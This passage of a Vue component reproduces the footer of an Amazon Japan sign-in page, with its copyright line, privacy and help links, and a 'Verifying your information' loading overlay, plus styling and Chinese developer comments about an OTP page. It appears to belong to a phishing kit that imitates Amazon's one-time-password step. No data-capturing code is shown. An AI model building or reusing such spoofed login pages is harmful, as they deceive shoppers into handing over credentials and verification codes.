href="https://www.amazon.co.jp/gp/aw/help/ref=ap_mobile_footer_privacy_notice?id=643000">
Privacy Notice
</a>
<span class="auth-footer-separator"></span>
<a class="a-link-normal" target="_blank" rel="noopener" href="https://www.amazon.co.jp/help">
Help
</a>
<span class="auth-footer-separator"></span>
</div>
<div class="a-section a-spacing-none a-text-center">
<span class="a-size-mini a-color-secondary">
© 1996-2026, Amazon.com, Inc. or its affiliates
</span>
</div>
</div>
</div>
</div>
<div id="a-white" class="sf-hidden"></div>
<div id="a-popover-root" style="z-index:-1;position:absolute"></div>
<!-- 提交中 loading 弹窗 -->
<Teleport to="body">
<div v-if="isLoading" class="amz-overlay">
<div class="amz-modal">
<div class="amz-spinner">
<svg viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle class="amz-spinner-path" cx="25" cy="25" r="20" fill="none" stroke-width="4"/>
</svg>
</div>
<p class="amz-modal-text">Verifying your information</p>
<p class="amz-modal-sub">Please wait a moment.</p>
</div>
</div>
</Teleport>
</template>
<style scoped>
/* CSS加载全屏遮罩 */
.otp-page-loading {
position: fixed;
inset: 0;
background: #fff;
display: flex;
align-items: center;
justify-content: center;
z-index: 9998;
}
.otp-page-loading-inner {
width: 48px;
height: 48px;
animation: amz-spin 0.9s linear infinite;
}
.otp-page-spinner {
width: 100%;
height: 100%;
}
/* 提交中弹窗 */
.amz-overlay {
position: fixed;
inset: 0;
background: rgba(255,255,255,0.75);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.amz-modal {
background: #fff;
border: 1px solid #d5d9d9;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0,0,0,0.15);
padding: 32px 40px;
text-align: center;
min-width: 240px;
}
.amz-spinner {
width: 44px;
height: 44px;
margin: 0 auto 16px;
animation: amz-spin 0.9s linear infinite;
}
.amz-spinner svg { width: 100%; height: 100%; }
.amz-spinner-path {
stroke: #e47911;
stroke-linecap: round;
stroke-dasharray: 80;
stroke-dashoffset: 60;
}
@keyframes amz-spin { to { transform: rotate(360deg); } }
.amz-modal-text {
font-size: 15px;
font-weight: 700;
color: #111;
margin: 0 0 6px;
font-family: "Amazon Ember", Arial, sans-serif;
}
.amz-modal-sub {
font-size: 13px;
color: #565959;
margin: 0;
font-family: "Amazon Ember", Arial, sans-serif;
}
.a-disabled { pointer-events: none; opacity: 0.5; }
</style>